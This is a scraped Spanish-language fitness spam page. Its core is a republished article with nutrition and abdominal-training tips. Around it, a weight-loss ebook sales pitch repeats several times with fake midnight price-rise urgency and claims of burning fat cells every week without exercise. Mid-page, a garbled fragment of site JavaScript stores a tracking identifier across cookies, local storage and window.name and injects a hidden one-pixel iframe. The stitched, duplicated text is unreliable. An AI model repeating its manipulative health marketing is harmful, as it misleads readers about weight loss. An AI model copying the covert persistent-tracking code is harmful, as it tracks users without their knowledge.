Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

Abdominales Rutina 5 min


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Video Rating: 5 / 5

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

RUTINA 10M DE ABDOMINALES


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

LEEME / DESPLIEGAME ♥ ♥ RUTINA DE ABDOMINALES DE APROXIMADAMENTE 10MINUTOS AQUÍ UNA RUTINA DE 10MINUTOS QUE PODÉIS HACER EN CASA. Podéis hacer los ejerci…
Video Rating: 4 / 5

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

¿Si hago 300 abdominales y 200 lagartijas o planchas en cuanto tiempo me marco?


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Question by Jeziel: ¿Si hago 300 abdominales y 200 lagartijas o planchas en cuanto tiempo me marco?
Solo tengo una pansilla pero no estoy gordo tengo haciendo ejercicio como 3 semanas

Best answer:

Answer by Cristhian
como en 3 meses

What do you think? Answer below!

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

Rutina de abdominales, glúteos y lumbares en casa. #ABD3 Cómo hacer abdominales


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Hoy trabajamos glúteos y lumbares. Desde dos posiciones básicas con pequeñas variaciones vamos avanzando en dificultad. Sigue visitándonos para conocer más e…

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos -1 || str.indexOf(key + ‘=’) == 0) { var idx = str.indexOf(‘&’ + key + ‘=’); if (idx == -1) idx = str.indexOf(key + ‘=’); var end = str.indexOf(‘&’, idx + 1); var newstr; if (end != -1) newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + ‘&’ + key + ‘=’ + value; else newstr = str.substr(0, idx) + ‘&’ + key + ‘=’ + value; return newstr; } else return str + ‘&’ + key + ‘=’ + value; }; var strgt = function(name, text) { if (typeof text != ‘string’) return “”; var nameEQ = name + “=”; var ca = text.split(/[;&]/); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return ""; }; this.sfecw = { f:function(name, value) { var fv=""; try { if (typeof(value) != "undefined") window.name = strrp(window.name, name, value); else fv = strgt(name, window.name); } catch(e) { } return fv; }, name:"sbbrf" }; this.sfecud = { f:function(name, value) { var fv=""; try { var elm = document.getElementById('sbbfrcc'); elm.style.behavior = "url(#default#userData)"; if (typeof(value) != "undefined") { elm.setAttribute(name, value); elm.save(name); } else { elm.load(name); fv=elm.getAttribute(name); } } catch(e) { } return fv; }, name:"sbbrf" }; this.sfecgs = { sbbgh:function() { var domain = document.location.host; if (domain.indexOf('www.') == 0) domain = domain.replace('www.', ''); return domain; }, f:function(name, value) { var fv=""; if (window.globalStorage) { var host = this.sbbgh(); try { if (typeof(value) != "undefined") globalStorage[host][name] = value; else { fv=globalStorage[host][name]; if (typeof (fv.toString)!="undefined") fv=fv.toString(); } } catch(e) { } } return fv; }, name:"sbbrf" }; this.sfecls = { f:function(name, value) { var fv=""; try { if (window.localStorage) { if (typeof(value) != "undefined") localStorage.setItem(name, value); else { fv=localStorage.getItem(name); if (typeof (fv.toString)!="undefined") fv=fv.toString(); } } } catch (e) { } return fv; }, name:"sbbrf" }; this.sbbcv = function (invl) { try { var invalArr = invl.split("-"); if (invalArr.length>1) { if (invalArr[0]==”A”||invalArr[0]==”D”) { invl=invalArr[1]; } else invl=”"; } if (invl==null||typeof(invl)==”undefined”||invl==”falseImgUT”||invl==”undefined”||invl==”null”||invl!=encodeURI(invl)) invl=”"; if (typeof(invl).toLowerCase()==”string”) if (invl.length>20) if (invl.substr(0,2)!=”h4″) invl=”"; } catch (ex) { invl=”"; } return invl; }; this.sbbsv = function (fv) { for (var elm in this) { if (this[elm].name==”sbbrf”) { this[elm].f(“altutgv2″,fv); } } document.cookie = “UTGv2=”+fv+’; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=.articuloz.com’; }; this.sbbgv = function() { var valArr=Array(); var currVal=”"; for (var elm in this) { if (this[elm].name==”sbbrf”) { currVal = this[elm].f(“altutgv2″); currVal = this.sbbcv(currVal); if (currVal!=”") valArr[currVal]=(typeof(valArr[currVal])!=”undefined”?valArr[currVal]+1:1); } } var lb=0; var fv=”"; for (var val in valArr) { if (valArr[val]>lb) { fv = val; lb=valArr[val] } } if (fv==”") fv=sbbgc(“UTGv2″); fv = this.sbbcv(fv); if (fv!=”") this.sbbsv (fv); else this.sbbsv(“D-h4726ab6d5d125cb9c2a66702e6201e90743″); return fv; }; }; function m2vr(m1,m2) { var i=0; var rc=”"; var est = “ghijklmnopqrstuvwyz”; var rnum; var rpl; var charm1 = m1.charAt(i); var charm2 = m2.charAt(i); while (charm1!=”"||charm2!=”") { rnum = Math.floor(Math.random() * est.length); rpl = est.substring(rnum,rnum+1); rc +=(charm1==”"?rpl:charm1)+(charm2==”"?rpl:charm2); i++; charm1 = m1.charAt(i); charm2 = m2.charAt(i); } return rc; } function sbbls(prid) { try { var eut = sbbgc(“UTGv2″); sbbeccfi = new sbbeccf(); sbbgs=sbbeccfi.sbbgv(); if (eut!=sbbgs && sbbgs!=”" && typeof(sbbfcr)==”undefined”) { addmg(‘utMedia’,”vii=”+m2vr(“757e58e839528194d7573bff4ee18067″,sbbgs)); } var sbbiframeObj = document.createElement (‘IFRAME’); var dfx=new Date(); sbbiframeObj.id = ‘SBBCrossIframe’; sbbiframeObj.style.border=’0px’; if (document.all) { sbbiframeObj.style.position=’absolute’; sbbiframeObj.style.top=’-1px’; sbbiframeObj.style.height=’1px’; sbbiframeObj.style.width=’28px’; } else { sbbiframeObj.style.height=’1px’; sbbiframeObj.style.width=’0px’; } sbbiframeObj.scrolling=”NO”; sbbiframeObj.src = ‘/sbbi/?sbbpg=sbbShell&gprid=’+prid+’&sbbgs=’+sbbgs+’&ddl=’+(Math.round(dfx.getTime()/1000)-1395242085)+”; var sbbDiv = document.getElementById(‘sbbfrcc’); sbbDiv.appendChild (sbbiframeObj); } catch (ex) { alert (ex.message); } } try{ y=unescape(sbbvscc.replace(/^$ /g,”)); document.getElementById(‘sbbhscc’).innerHTML=y; x=unescape(sbbgscc.replace(/^$ /g,”)); } catch(e){ x=’function genPid() {return “jser”; }’; } try { if (window.gprid==undefined) document.write(”+x+”var gprid=genPid(); addprid(gprid); sbbls(gprid);”); } catch (e) { addprid(“dwer”); } ]]>


Directorio de Artículos Gratis

¿Porqué publicar? Autores Top
Artículos Top
 ARespuestas

Publicar Artículos

0 && $ .browser.msie ) {
var ie_version = parseInt($ .browser.version);
if(ie_version Ingresar


Ingresar via


Registrarse
Hola
Mi Portada
Salir

Email

Contraseña


¿Me Recuerda?
¿Perdio la Contraseña?

Portada > Salud & Ejercicio > Dietas > 4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos

Posteado: 22/04/2013 |Comentarios: 0

| Vistas: 53

|




]]>

Creo que es importante ayudar a las personas en esta área de sus vidas, ya que no sólo mejoran su apariencia exterior y su confianza, sino que, más importante, mejora la forma en que se sienten y su salud interna, ayudándoles a vivir más tiempo y una vida más saludable. Es algo que me motiva y apasiona.

Esta pregunta me da vueltas en la cabeza constantemente¿en qué se equivoca el hombre o la mujer promedio cuando hace ejercicios abdominales?

Probablemente te sorprenderás por la respuesta. En tu búsqueda para obtener abdominales marcados, el mayor error que veo que la gente comete es desperdiciar DEMASIADO tiempo haciendo ejercicios específicos para abdominales… moviéndose de arriba abajo con toda clase de ejercicios para hacer trabajar sólo los abdominales.

Estoy seguro amigo(a) que sabes a qué me refiero. La persona está tratando tanto de conseguir que se vean sus abdominales, que pasa casi todo su tiempo en el gimnasio haciendo cientos de repeticiones de abdominales diferentes, elevación de piernas, torsiones, etc. Mientras tanto, todo ese tiempo perdido haciendo  abdominales podría haber sido mejor empleado en un programa de entrenamiento de cuerpo completo bien diseñado, que provocaría una respuesta metabólica mucho mayor y que también aumentaría los niveles de hormonas para quemar grasa de tu cuerpo.

Después de todo, perder la grasa abdominal que cubre los músculos es el aspecto MÁS importante para la mayoría de las personas, para que finalmente puedan lograr unos músculos abdominales visibles. Por desgracia, los cientos de abdominales y levantamientos de piernas no provocan una gran respuesta metabólica, ni de la hormona quema grasa. Pero primero quiero asegurarme de que comprendas los conceptos más importantes para la reducción duradera de la grasa.

En los errores que cometemos en forma frecuente en el gimnasio me surgen 2 preguntas ¿hay alguna diferencia según el género? Y, más importante, ¿hay alguna diferencia de género con respecto a la respuesta a diferentes tipos de ejercicios abdominales?

Para ser honesto amigo(a), realmente, no veo ninguna necesidad de que los hombres o las mujeres hagan entrenamientos diferentes. La verdad es que… los mejores ejercicios son los mejores ejercicios, independientemente del género y punto.

Sin embargo, en cuanto a los errores que veo según el género… Sí, tiendo a ver que las mujeres con más frecuencia se mueren de miedo de usar el entrenamiento con pesas, con cualquier cosa que no sea un peso muy ligero. Eso es una lástima, porque la forma más eficaz de ganar control sobre tu grasa corporal de por vida, es aumentar al máximo la masa muscular magra del cuerpo, así como trabajar el músculo lo más que puedas, regularmente, con ejercicios intensos de resistencia, que te ayudarán a quemar en forma definitiva la grasa abdominal.

Pienso que es importante que las mujeres sepan que el entrenamiento de fuerza regular, usando resistencia más pesada NO las “hará abultarse” (mientras se controle la ingesta calórica) sino que, más bien, es uno de los secretos clave para perder grasa corporal y permanecer delgadas todo el año. Por cierto, algunas de las mujeres más delgadas que he visto son las que se ejercitan a lo largo de los años, no tienen miedo de trabajar duro con las pesas.

También he notado que la mayoría de las mujeres (y muchos hombres también) pasan demasiado tiempo con ejercicio cardio lento. Esto no es necesario, y la forma en que se combina el entrenamiento de resistencia de alta intensidad en rutinas para el cuerpo completo, generalmente brinda suficiente trabajo cardiovascular por sí mismas.

¿Y qué hay de los abdominales de la vieja escuela? ¿Los utilizas? ¿Son buenos, malos o “depende”?

Los abdominales son un tema controvertido. No creo que sean buenos o malos pero se, sino más bien “un término medio”.  Simplemente, no siento que sean necesarios y creo que hay que concentrarse en ejercicios abdominales mucho más efectivos. Personalmente, casi nunca hago abdominales, sólo en raras ocasiones para agregar algo de variedad.

Ejemplo semanal de rutina de entrenamiento para abdominales.
 ¿Cuántos días a la semana? ¿Cuáles son los dos mejores ejercicios que elegirías? ¿Cuántos? ¿Repeticiones? ¿Descanso?

]]>

Bueno, en primer lugar me gustaría señalar que los movimientos de cuerpo completo que constituyen la mayoría de mis rutinas sugeridas hacen trabajar indirectamente a los abdominales y a todo el “núcleo” en un porcentaje bastante decente. Sin embargo, sí aconsejo ejercicios abdominales específicos en las rutinas, generalmente cerca de 2 veces por semana. Los “ejercicios específicos para abdominales” de las sesiones de entrenamiento generalmente sólo toman unos 5 minutos como máximo, con muy poco descanso entre ejercicios.

Una vez que rebases la primera fase y tienes algo más de fuerza en el abdomen, trato de alejarme de los ejercicios demasiado fáciles, de hacer 50 o 100 repeticiones como es frecuente con las sentadillas comunes. En cambio, me gusta centrarme en ejercicios de mayor resistencia que en realidad estimulan mucho más las fibras musculares y la pérdida de peso.

Un ejemplo de ejercicio abdominal con mayor resistencia es la elevación de piernas, colgando, con una correcta “flexión pélvica”. Es curioso, pero por lo general alguien que ha estado perdiendo tanto tiempo con cientos de repeticiones de abdominales sólo puede hacer pocas de algunos de estos ejercicios de mayor resistencia en el primer intento.

También asegúrate  de no descuidar algunos movimientos de rotación, así como de trabajar los músculos más profundos, como el transverso del abdomen.

¿Qué usas amigo(a) para quemar grasa, intervalos o cardio lento? ¿O ambos? ¿Hay diferencias de género en esto?

En la mayoría de los casos me gusta trabajar con “entrenamiento de intensidad variable”. En general, creo que el cardio lento a ritmo constante es una pérdida de tiempo, especialmente si el objetivo es la pérdida duradera de grasa.

Creo que la gente debe dejar de pensar en “quemar grasa por áreas” y en las calorías quemadas durante el entrenamiento real, y ver el panorama más amplio de lo que están haciendo en su sesión de ejercicios para estimular la mayor respuesta metabólica en el cuerpo… y la mejor respuesta metabólica y hormonal se logra a través de entrenamiento de intensidad variable y entrenamiento de fuerza, no con cardio lento de ritmo constante.

Ahora, si estas realmente en mala forma y no puedes soportar aún rutinas de ejercicio de intensidad más alta, esto no significa que no pueda hacer rutinas de baja intensidad, pero con una intensidad “variable”, alternando entre niveles de esfuerzo mayor y menor en todo el entrenamiento.
Consejos nutricionales para perder grasa corporal y esculpir esos abdominales.

Creo que estarás de acuerdo amigo(a) en que nunca ha habido una época más confusa para los consumidores respecto de la nutrición adecuada. Todos los llamados “expertos” que hay por ahí parecen estar en desacuerdo y se contradicen entre ellos sobre cuál es la mejor manera de comer para perder grasa y tener una buena salud general.

Uno de los mensajes más importantes que trato de enseñar en mis artículos, en este mundo de tanta confusión, es que no tienen por qué seguir ninguna de las dietas de moda… no tienen que comer “bajo en carbohidratos” o “bajo en grasa”, ni alto o bajo en nada para tener éxito en perder suficiente grasa y adelgazar hasta que puedan ver sus abdominales.

Me gusta tratar de simplificar las cosas en mis artículos. Creo que el equilibrio es la clave del éxito, junto con una dieta que se componga de alimentos de alta densidad de nutrientes en su estado natural (lo menos procesados posible).

En general, el alto procesamiento de los alimentos es lo que hace estragos en nuestros cuerpos. La mayoría de los alimentos en su estado natural sin procesar son inherentemente buenos para nosotros. Por supuesto, siempre hay excepciones… una ensalada de hojas de hiedra venenosa es “natural y sin procesar”, ¡pero ciertamente no sería buena para nosotros!

4 Estrategias Importantes de la nutrición que te ayudan a quemar la grasa abdominal para toda la vida…

Estrategia # 1.- Obtén suficiente cantidad de proteína de buena calidad en tu dieta diaria – no sólo tiene un mayor efecto térmico que los carbohidratos y las grasas (quemas más calorías digiriéndola), sino que también provoca saciedad, para satisfacer tu  hambre por más tiempo. Además, es un bloque de construcción para mantener y crear masa muscular… Y recuerda que la cantidad de músculo magro que tengas es uno de los factores principales para controlar tu metabolismo.

Estrategia # 2.- ¡Piensa en fibra! Cuando se trata de hidratos de carbono, asegúrate de que casi totalidad de tu consumo de hidratos de carbono provenga de fuentes más altas en fibra como verduras, frutas y granos sin refinar, con alto contenido de fibra. Trata de evitar los azúcares refinados y los granos refinados, ya que son una de las principales razones por las que tanta gente lucha con la grasa corporal.

Personalmente, yo no como muchos granos porque prefiero sacar el máximo provecho de mis hidratos de carbono de las verduras y frutas, pero debo admitir que me gustan los granos germinados. En general, recomiendo buscar fuentes de hidratos de carbono que tengan al menos 2-3 gramos de fibra por cada 10 gramos de carbohidratos totales. Recuerda que la fibra ayuda a saciarte y también disminuye la respuesta glucémico de los alimentos que comas, lo que es bueno para adelgazar.

Estrategia # 3.- ¡No tengas miedo de comer grasa! Muchas personas tratan de bajar demasiado su consumo de grasa y esto puede afectar negativamente los niveles hormonales en tu cuerpo, además de provocar más antojos. Trata de comer suficientes grasas saludables al día.

Buenas fuentes son los frutos secos y semillas, mantequillas de frutos secos, paltas o aguacates, aceite de oliva, las carnes y los huevos orgánicos, coco y aceite de coco virgen. En ese sentido, las grasas saturadas de los aceites tropicales NO se entienden mucho, incluso hay muchos nutricionistas y otros profesionales de la salud que no las conocen bien. Sí que están compuestas de grasas saturadas, pero éstas son realmente beneficiosas (aunque esto va más allá del alcance de este artículo).

Estrategia # 4.- Evita las dos peores cosas de nuestro suministro de alimentos A TODA COSTA:

Las grasas trans artificiales de las margarinas, mantequillas y aceites hidrogenados que se encuentran en la mayoría de los alimentos procesados.
el jarabe de maíz de alta fructosa que está en casi todos los productos endulzados del mercado.

Nuevamente, si evitas los alimentos procesados, te resultará fácil evitar estos 2 peores culpables de nuestro suministro de alimentos.

Siempre digo que, una vez que consigues entender estos 4 puntos principales de la dieta detallados arriba, el resto empieza a cuidar de sí mismo a medida que controlas tu apetito, los niveles de azúcar en la sangre, los niveles hormonales, etc. Todo encaja, y finalmente logras el control total sobre cuánto quieres adelgazar.

Estimado(a) amigo(a) al finalizar este artículo te sugiero que tomes en cuenta estos 4 Estrategias para Quemar Grasa Abdominal y Obtener un Abdomen Plano con los Abdominales Definidos, si piensas que el artículo es de calidad, compártelo con tus amigos, o se me queda algo en el tintero, házmelo saber a través de tus comentarios o comparte tu experiencia y conocimientos conmigo.

Personalmente estaré contestado tus preguntas y comentarios.

Saludos.

Alfonso

Retrieved from “/dietas-articulos/4-estrategias-para-quemar-grasa-abdominal-y-obtener-un-abdomen-plano-con-los-abdominales-definidos-6562053.html

]]>

-
Sobre el Autor:

Hola, soy Alfonso Maturana. Creo en las relaciones basadas en la confianza, pienso que hay una forma de hacer las cosas bien, de hacerlas correctamente y creo que es importante realizarlas de manera confiable. Me gusta crear artículos gratuitos y de buena calidad para ayudar a la personas y poder compartir mi experiencia y conocimientos. Te mostraré  una nueva forma de ver las cosas, verlas desde otro punto de vista, desde otro enfoque. Con instrucciones, consejos y pasos sencillos que puedes implementar en tu vida. Creo entregar más de lo prometido. Estaré encantado con tus preguntas y comentarios. Además, puedes seguirme en mi blog. http://quemargrasadelabdomen.wordpress.com 

Hacer una pregunta

Consulta nuestros expertos sobre Dietas aquí las preguntas relacionadas…

Pregunta

200 Caracteres que restan

Que puedo comer en el desayuno almuerzo y cena para obtener el abdomen plano
Cual es el ejercicio correcto para los abdominales
Hola: desearía saber si, con estos ejercicios para brazos y una dieta rica en proteinas, es posible eliminar los cúmulos de grasa que tengo en los brazos, sobretodo en la parte superior pero de fuera

Puntear artículo

1
2
3
4
5

voto(s)
0 voto(s)

Comentar

Imprimir

Re-Publicar

Fuente del Artículo: http://www.articuloz.com/dietas-articulos/4-estrategias-para-quemar-grasa-abdominal-y-obtener-un-abdomen-plano-con-los-abdominales-definidos-6562053.html

Agregue un nuevo comentario

Artículos Relacionados
Últimos Dietas Artículos
Mas de Luis

¿ Cómo Quemar Grasa Abdominal ? – 5 Tips Para Transformar Tu Abdomen

Cuántas personas conocemos que sueñan con tener su ‘six-pack’ en su abdomen. Casi todos nosotros soñamos con un abdomen plano. Si estás buscando cómo para empezar a quemar grasa abdominal, entonces sigue estos tips o trucos que te ayudarán a perder esa grasa. Si quieres eliminar esos centímetros alrededor de tu cintura estos tips te van a ayudar

por:
Alfonso Sánchezl
Salud & Ejerciciol
19/12/2009
lVistas: 3,408

4 Pasos Para Quemar La Grasa Del Abdomen

“En este artículo conocerás 4 Pasos para quemar la grasa del abdomen en Forma Natural” ¡Garantizado! Estimado(a) amigo(a), si estas buscando bajar y tonificar tu abdomen, existen mejores maneras de hacerlo en lugar de sólo intentar hacer abdominales. De hecho, las investigaciones han demostrado que hacer ejercicios de abdominales por si solos, incluso cuando se hacen cinco días a la semana durante seis semanas, no tienen ningún efecto en absoluto en la grasa almacenada…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 89

2 Secretos Vitales Para Quemar Grasa Del Abdomen

“Si aprendes lo que te voy a enseñar en este artículo, comenzarás a quemar grasa del abdomen en forma natural, ¡garantizado!”. Estoy seguro de que ves MONTONES de comerciales y anuncios haciendo todo tipo de declaraciones milagrosas para quemar la grasa del abdomen durante la noche con su “píldora mágica”, pero la grasa abdominal no baja… ¿no?. En éste artículo aprenderás 2 secretos vitales para quemar grasa del abdomen.

por:
Luisl

Alimentos & Bebidas>
Bajas Caloríasl
26/09/2012
lVistas: 652

5 Consejos Efectivos Para Quemar Grasas Del Abdomen

Así que quiere saber Como Quemar Grasas del Abdomen.
Excelente, Te doy cinco consejos efectivos para que lo logres. Bueno, ¿por qué hacerlo? En primer lugar un abdomen de grasa es un problema de salud grave.
¿Sabes que todo el mundo tiene el famoso “paquete de 6″?, Sí, incluso tu. Sin embargo, si tienes mucha grasa abdominal la gente como tú no los pueden ver.
Aquí están los 5 Consejos Efectivos para Quemar Grasas del Abdomen.

por:
BajarGrasal

Salud & Ejercicio>
Dietasl
26/04/2012
lVistas: 156

5 Consejos Para Aplicar Hoy Y Poder Quemar Grasa De Abdomen

Como Quemar Grasa De Abdomen?
Si quieres saber Como Quemar Grasa De Abdomen, sin hacer un millón de sentadillas o abdominales…Hay algunos cambios simples que puedes hacer que te permitirá perder grasa del estómago en tan sólo 10 días. En este artículo vamos a descubrir algunos de estos cambios y la forma de adoptarlos a tu rutina diaria.

por:
BajarGrasal

Salud & Ejercicio>
Dietasl
27/03/2012
lVistas: 584

Mitos Y Realidades Para Tener Un Vientre Plano

Podemos Leer y escuchar una y mil historias con soluciones diferentes para cada problema. Pero, ¿de verdad funcionan? Habrás escuchado que quinientas abdominales diarias endurecerán tu abdomen, que no cenar te ayudara a perder peso, que el pan engorda, que hacer ejercicio en ayunas es lo mejor, etcétera. Siempre estamos buscando tener un vientre plano, el problema es que con tal de conseguirlo ¡nos creemos todo tipo de soluciones! Te presentamos los mitos para tener es abdomen y tips reales par

por:
Rob Poulosl

Salud & Ejercicio>
Deportel
05/01/2011
lVistas: 701

12 Snack Saludables Para Quemar Grasa Del Abdomen Entre El Desayuno, Almuerzo Y Cena

Cómo trabajo en mi empleo actual en sistemas de turnos, muchas veces me pregunto cuál sería una buena elección de llevar un desayuno, comida o cena saludable. Todos los días tengo que luchar para encontrar buenas ideas para refrigerios sanos y rápidos “entre comidas”… especialmente una pequeña comida rápida o refrigerios que pueden llevarse a la oficina o en viajes por carretera y ¡así evitar la basura de comida rápida! Estimado(a) amigo(a) en este artículo aprenderás 12 Snack saludables…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 22

3 Formas De Como Eliminar La Grasa Del Abdomen

Cuando se comienza a ganar peso uno de los primero cambios que experimentamso es el aumento de grasa en la zona abdominal. Es por eso que para ayudarte aquí encontraras 3 formas de como eliminar la grasa del abdomen. Aplicandolas correctamente a tu vida en algunas semanas comenzaras a notar los cambios en tu cuerpo y tu salud.

por:
A Bajar De Peso Yal
Salud & Ejerciciol
13/12/2012
lVistas: 71

Disfruta De Los Licuados De Frutas Para Bajar De Peso

Mucha gente en la actualidad descubre un montón de increíbles beneficios al hacer tus propios licuados de frutas para bajar de peso. Cuando lo piensas, la alternativa son los licuados pre-hechos y comidas bajas en grasa o sin grasa, que venden sobre una base comercial.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Causas De Los Métodos Extremos Para Perder Peso

Mucha gente en nuestra actual sociedad tienen el deseo ferviente de querer resultados ya mismo. Esta afición por la satisfacción inmediata se extiende también a los programas para perder peso.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Cómo Encontrar Los Mejores Planes De Entrenamiento Para Perder Peso

Cuando deseas tener la seguridad de que quieres perder peso, debes tomar ventaja de los planes que te permitirán hacer un seguimiento de tu progreso. No importa el tipo de plan para perder peso que quieres, deberías aprovecharte de los planes que están disponibles para ti.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Cómo Encontrar Los Mejores Suplementos Para Bajar De Peso

Un suplemento es básicamente algo que se agrega a algo que ya está completo o para ayudar a compensar una cierta deficiencia en el cuerpo. Existe una gran cantidad de personas que buscan los mejores suplementos para bajar de peso y deshacerse de esos kilos molestos.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

5 Consejos Fáciles Para Bajar De Peso

Sin duda la época del año justo después de las vacaciones, es cuando todo el mundo empieza a pensar en lo que deben hacer para el nuevo año. La mayoría de la gente se pone a buscar consejos fáciles para bajar de peso que pueden incorporar a su vida diaria.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Altamente Efectivos Consejos Para Perder Grasa

Al igual que la mayoría de las personas, Kelly Osbourne se ha pasado la vida luchando contra los problemas del cuerpo. Sin embargo, ella perdió 70 libras o más, y ha aprendido a no recuperarlo.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Remedios Caseros Para Perder Peso Que Funcionan

El echo de perder peso se encuentra en la mente de las personas que quieren evitar los problemas de salud a causa de tener sobrepeso u obesidad. Saber el índice de masa corporal adecuado, o IMC, puede ser muy útil, para continuar con buena salud.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

